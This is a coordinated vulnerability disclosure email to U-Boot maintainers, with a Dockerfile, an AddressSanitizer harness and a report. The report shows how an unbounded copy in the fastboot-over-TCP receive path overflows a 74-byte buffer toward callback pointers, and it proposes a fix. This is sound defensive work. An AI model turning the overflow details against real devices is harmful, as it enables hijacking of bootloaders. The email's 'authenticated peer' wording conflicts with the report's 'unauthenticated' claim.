Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible global heap
overflow in U-Boot's fastboot-over-TCP server by authenticated peer.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 \
&& rm -rf /var/lib/apt/lists/*
ARG PIN=ece349ade2973e220f524ce59e59711cc919263f
# Shallow-fetch exactly the pinned commit and assert HEAD == PIN.
RUN mkdir -p /u-boot && cd /u-boot && git init -q && \
git remote add origin https://github.com/u-boot/u-boot.git && \
git fetch --depth 1 origin ${PIN} && \
git checkout -q FETCH_HEAD && \
HEAD_SHA=$(git rev-parse HEAD) && \
echo "checked-out: $HEAD_SHA" && \
echo "expected: ${PIN}" && \
test "$HEAD_SHA" = "${PIN}" && \
echo "PIN OK"
WORKDIR /poc
# Extract the REAL rxbuf declaration and the REAL tcp_stream_rx() verbatim,
# plus the real FASTBOOT_COMMAND_LEN, into a generated header. Nothing here
# is committed to the repo: it is regenerated on every build from pinned src.
RUN { \
echo '/* extracted verbatim from the pinned upstream tree */' ; \
printf '#define POC_PIN "%s"\n' "$(cd /u-boot && git rev-parse HEAD)" ; \
grep -E '^#define[[:space:]]+FASTBOOT_COMMAND_LEN'
/u-boot/include/fastboot.h ; \
grep -E '^static char rxbuf\[' /u-boot/net/fastboot_tcp.c ; \
echo ; \
awk '/^static int tcp_stream_rx\(/{f=1} f{print} f&&/^}/{exit}'
/u-boot/net/fastboot_tcp.c ; \
} > /poc/real_code.h && \
echo '----- generated real_code.h -----' && cat /poc/real_code.h
COPY driver.c /poc/driver.c
# -D_FORTIFY_SOURCE=0 so ASan's memcpy interceptor reports the redzone write,
# rather than glibc __memcpy_chk aborting first with a terse fortify message.
RUN gcc -g -O1 -fno-omit-frame-pointer -fsanitize=address \
-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 \
-I/poc -o /poc/poc /poc/driver.c
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
CMD /poc/poc
/*
* Focused ASan harness for the fastboot-over-TCP receive path.
* poc-fastboot-tcp
*
* The real upstream rxbuf declaration and the real tcp_stream_rx() are
* extracted verbatim at build time from net/fastboot_tcp.c and pulled in
* through "real_code.h" (generated live in the Dockerfile, not committed).
* Only the leaf types that the extracted code needs (u64/u32/uchar and a
* minimal struct tcp_stream carrying the same function-pointer members as
* upstream) are declared here so the real function compiles unchanged.
*/
#include <stdio.h>
#include <string.h>
typedef unsigned long long u64; /* 8 bytes, matches sizeof(u64) upstream */
typedef unsigned int u32;
typedef unsigned char uchar;
/*
* Minimal mirror of include/net/tcp.h struct tcp_stream: only the
* function-pointer members are modelled. Upstream keeps a single
* `static struct tcp_stream tcp_stream;` in net/tcp.c holding these
* pointers; overflowing rxbuf corrupts exactly this kind of storage.
*/
struct tcp_stream {
void (*on_closed)(struct tcp_stream *tcp);
void (*on_established)(struct tcp_stream *tcp);
void (*on_rcv_nxt_update)(struct tcp_stream *tcp, u32 rx_bytes);
int (*rx)(struct tcp_stream *tcp, u32 rx_offs, void *buf, int len);
int (*tx)(struct tcp_stream *tcp, u32 tx_offs, void *buf, int maxlen);
};
/* static receive cursor, as in net/fastboot_tcp.c */
static u32 data_read;
/* verbatim upstream: FASTBOOT_COMMAND_LEN, rxbuf[], tcp_stream_rx() */
#include "real_code.h"
/*
* Sentinel modelling the adjacent `static struct tcp_stream tcp_stream;`
* whose on_rcv_nxt_update pointer net/tcp.c invokes right after tcp->rx()
* returns. Placed after rxbuf to mirror the real adjacency.
*/
static void benign_handler(struct tcp_stream *tcp, u32 rx_bytes)
{
(void)tcp;
(void)rx_bytes;
printf(" [sentinel] on_rcv_nxt_update fired with intact pointer\n");
}
static struct tcp_stream tcp_stream = {
.on_rcv_nxt_update = benign_handler,
};
static void run_segment(const char *label, int len)
{
static char seg[4096];
int i;
for (i = 0; i < len && i < (int)sizeof(seg); i++)
seg[i] = 'A';
printf("%s: single TCP segment, len = %d into %zu-byte rxbuf\n",
label, len, sizeof(rxbuf));
fflush(stdout);
/* first segment of the stream: rx_offs == 0, data_read == 0 */
tcp_stream_rx(&tcp_stream, 0, seg, len);
printf(" memcpy returned, no overflow detected\n");
/* mirror net/tcp.c:959 tcp->on_rcv_nxt_update(...) after rx() */
if (tcp_stream.on_rcv_nxt_update)
tcp_stream.on_rcv_nxt_update(&tcp_stream, (u32)len);
fflush(stdout);
}
int main(void)
{
printf("##### pin #####\n%s\n\n", POC_PIN);
printf("rxbuf = sizeof(u64) + FASTBOOT_COMMAND_LEN + 1 = %zu bytes\n\n",
sizeof(rxbuf));
fflush(stdout);
printf("== NEGATIVE CONTROL: segment that fits (len <= 74) ==\n");
run_segment("[neg]", (int)sizeof(rxbuf)); /* 74, exact fit */
printf("\n");
fflush(stdout);
printf("== POSITIVE: oversized segment (raw TCP length, unbounded) ==\n");
run_segment("[pos]", 200); /* overflows rxbuf */
printf(" (unreachable if ASan aborts on the overflowing write)\n");
return 0;
}
# An unauthenticated TCP peer can overflow a fixed 74-byte fastboot receive buffer into an adjacent function pointer and hijack U-Boot's control flow
When U-Boot's fastboot-over-TCP server is running, its receive callback copies each incoming TCP segment into a fixed 74-byte static buffer with no length check, using the raw segment length supplied by the TCP layer. The buffer, `rxbuf`, is `sizeof(u64) + FASTBOOT_COMMAND_LEN + 1` = 74 bytes, but `tcp_stream_rx()` performs `memcpy(rxbuf + rx_offs - data_read, buf, len)` where `len` is the attacker-controlled segment length, bounded only by the TCP receive window (up to roughly 1460 bytes per segment). An unauthenticated peer that can reach the listener on TCP port 5554, and that sends the 4-byte `FB01` magic the handshake demands, can therefore write far past the end of `rxbuf` into the immediately following static storage. In the real net/tcp.c that storage is a single `static struct tcp_stream tcp_stream;` object holding the connection's function pointers, one of which, `on_rcv_nxt_update`, is invoked by the caller the instant `tcp->rx()` returns, giving a corrupted pointer a direct path to control-flow hijack. The overflow is confirmed below by an AddressSanitizer proof of concept that compiles the real `rxbuf` declaration and the real `tcp_stream_rx()` verbatim and observes a 200-byte write land immediately past the 74-byte buffer. The path is gated behind the build option `CONFIG_TCP_FUNCTION_FASTBOOT` and requires `fastboot tcp` to have been started.
## Root cause
The receive buffer is sized for one fastboot command plus an 8-byte length prefix and a terminator, 74 bytes in total.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/fastboot_tcp.c#L16
```c
static char rxbuf[sizeof(u64) + FASTBOOT_COMMAND_LEN + 1];
```
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/include/fastboot.h#L30
```c
#define FASTBOOT_COMMAND_LEN (64 + 1)
```
The stream receive callback copies the segment into `rxbuf` with no comparison against the size of `rxbuf`. `len` is the length of the data the caller hands over, and `rx_offs - data_read` is the write offset, which is zero for the first segment of the stream.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/fastboot_tcp.c#L76-L81
```c
static int tcp_stream_rx(struct tcp_stream *tcp, u32 rx_offs, void *buf, int len)
{
memcpy(rxbuf + rx_offs - data_read, buf, len);
return len;
}
```
The caller, `tcp_rx_user_data()` in the TCP core, passes the segment length straight through to `tcp->rx()`. `len` originates from the received TCP payload and is never clamped to the size of the fastboot buffer, only to the connection's receive window.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/tcp.c#L920-L921
```c
static int tcp_rx_user_data(struct tcp_stream *tcp, u32 tcp_seq_num,
char *buf, int len)
```
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/tcp.c#L942-L943
```c
if (tcp->rx) {
tmp_len = tcp->rx(tcp, buf_offs, buf, len);
```
The object that sits in static storage and holds the connection's callbacks is a single file-scope `tcp_stream` in net/tcp.c.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/tcp.c#L48
```c
static struct tcp_stream tcp_stream;
```
Its function-pointer members, including `on_rcv_nxt_update` and `rx` themselves, live in that structure.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/include/net/tcp.h#L383-L388
```c
void (*on_closed)(struct tcp_stream *tcp);
void (*on_established)(struct tcp_stream *tcp);
void (*on_rcv_nxt_update)(struct tcp_stream *tcp, u32 rx_bytes);
void (*on_snd_una_update)(struct tcp_stream *tcp, u32 tx_bytes);
int (*rx)(struct tcp_stream *tcp, u32 rx_offs, void *buf, int len);
int (*tx)(struct tcp_stream *tcp, u32 tx_offs, void *buf, int maxlen);
```
Immediately after `tcp->rx()` returns, and provided any bytes were consumed, the caller invokes `tcp->on_rcv_nxt_update()`. A write that runs off the end of `rxbuf` and reaches this structure corrupts a pointer that is called within the same function, before the connection is torn down.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/tcp.c#L957-L959
```c
new_offs = tcp_stream_rx_offs(tcp);
if (tcp->on_rcv_nxt_update && old_offs != new_offs)
tcp->on_rcv_nxt_update(tcp, new_offs);
```
Reaching the copy requires no authentication. The listener accepts the connection on port 5554, and the only content check is a 4-byte `FB01` handshake performed after the segment has already been copied into `rxbuf`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/fastboot_tcp.c#L13-L14
```c
static const unsigned short handshake_length = 4;
static const uchar *handshake = "FB01";
```
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/fastboot_tcp.c#L29-L34
```c
if (!data_read && rx_bytes >= handshake_length) {
if (memcmp(rxbuf, handshake, handshake_length)) {
printf("fastboot: bad handshake\n");
tcp_stream_close(tcp);
return;
}
```
The callbacks are wired up in `tcp_stream_on_create()`, which binds `rx` and `on_rcv_nxt_update` for any stream whose local port is the fastboot port.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/net/fastboot_tcp.c#L95-L109
```c
static int tcp_stream_on_create(struct tcp_stream *tcp)
{
if (tcp->lport != FASTBOOT_TCP_PORT)
return 0;
......
tcp->on_rcv_nxt_update = tcp_stream_on_rcv_nxt_update;
tcp->rx = tcp_stream_rx;
tcp->tx = tcp_stream_tx;
return 1;
}
```
## Proof of Concept
The reproducer extracts the real `rxbuf` declaration and the real `tcp_stream_rx()` function verbatim from net/fastboot_tcp.c at the pinned commit, together with the real `FASTBOOT_COMMAND_LEN`, and compiles them unchanged. Only the leaf types the extracted code needs are declared in the driver: `u64`/`u32`/`uchar`, the `data_read` receive cursor, and a minimal `struct tcp_stream` carrying the same function-pointer members as include/net/tcp.h, with a sentinel `on_rcv_nxt_update` placed after `rxbuf` to mirror the adjacency of the real `static struct tcp_stream tcp_stream;`. The harness drives a single TCP segment through the real copy, exactly as `tcp_rx_user_data()` does, first with a segment that fits (74 bytes) and then with an oversized one (200 bytes). The overflowing `memcpy` is executed and its out-of-bounds write is what AddressSanitizer reports. The subsequent `tcp->on_rcv_nxt_update()` call at net/tcp.c:959 and the reachability of the copy over an unauthenticated port-5554 connection after the `FB01` handshake are cited from the source above, not performed over a socket. The build fails unless the checked-out tree is exactly the pinned commit.
```
docker build -t poc . && docker run --rm poc
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
rxbuf = sizeof(u64) + FASTBOOT_COMMAND_LEN + 1 = 74 bytes
== NEGATIVE CONTROL: segment that fits (len <= 74) ==
[neg]: single TCP segment, len = 74 into 74-byte rxbuf
memcpy returned, no overflow detected
[sentinel] on_rcv_nxt_update fired with intact pointer
== POSITIVE: oversized segment (raw TCP length, unbounded) ==
[pos]: single TCP segment, len = 200 into 74-byte rxbuf
=================================================================
==7==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5591abe524ca at pc 0x7f5af8d36303 bp 0x7ffed02421d0 sp 0x7ffed0241978
WRITE of size 200 at 0x5591abe524ca thread T0
#0 0x7f5af8d36302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x5591abe4e34e in tcp_stream_rx /poc/real_code.h:8
#2 0x5591abe4e34e in run_segment /poc/driver.c:69
#3 0x5591abe4e469 in main /poc/driver.c:91
#4 0x7f5af8a531c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7f5af8a5328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x5591abe4e1c4 in _start (/poc/poc+0x11c4) (BuildId: ccbb68a3d64d42e5a5f50a653d6b47dad2a20e4d)
0x5591abe524ca is located 0 bytes after global variable 'rxbuf' defined in '/poc/real_code.h:4:13' (0x5591abe52480) of size 74
SUMMARY: AddressSanitizer: global-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
Shadow bytes around the buggy address:
0x5591abe52200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52400: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
=>0x5591abe52480: 00 00 00 00 00 00 00 00 00[02]f9 f9 f9 f9 f9 f9
0x5591abe52500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5591abe52700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==7==ABORTING
```
The negative control copies a segment that exactly fills the 74-byte buffer: the copy completes cleanly and the adjacent `on_rcv_nxt_update` pointer is still intact when it is invoked, so the crash is not an artefact of the harness. The positive case copies a 200-byte segment, and AddressSanitizer reports a `global-buffer-overflow` WRITE of size 200 located 0 bytes after `rxbuf`, inside the real `tcp_stream_rx()` (frame `#1 tcp_stream_rx real_code.h:8`), and aborts the process. Those overwritten bytes land in the storage immediately after `rxbuf`, which in the real net/tcp.c is the `static struct tcp_stream tcp_stream;` holding the callbacks; `tcp->on_rcv_nxt_update()` is then called at net/tcp.c:959. Preconditions for a live target are that the image was built with `CONFIG_TCP_FUNCTION_FASTBOOT`, that `fastboot tcp` has been started so the listener is up on port 5554, and that the attacker can reach that port and send the `FB01` handshake, none of which involve authentication.
## Mitigation
Bound the copy in `tcp_stream_rx()` against the space actually remaining in `rxbuf` before the `memcpy`, that is `sizeof(rxbuf) - (rx_offs - data_read)`, and reject or truncate any segment that would exceed it rather than copying `len` unconditionally. A segment or cumulative stream that does not fit in a single fastboot command buffer should be treated as a protocol error and the connection closed, since a well-formed fastboot request never exceeds `FASTBOOT_COMMAND_LEN`. Validating the offset itself (that `rx_offs >= data_read` and that the destination stays within `rxbuf`) closes the same write.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.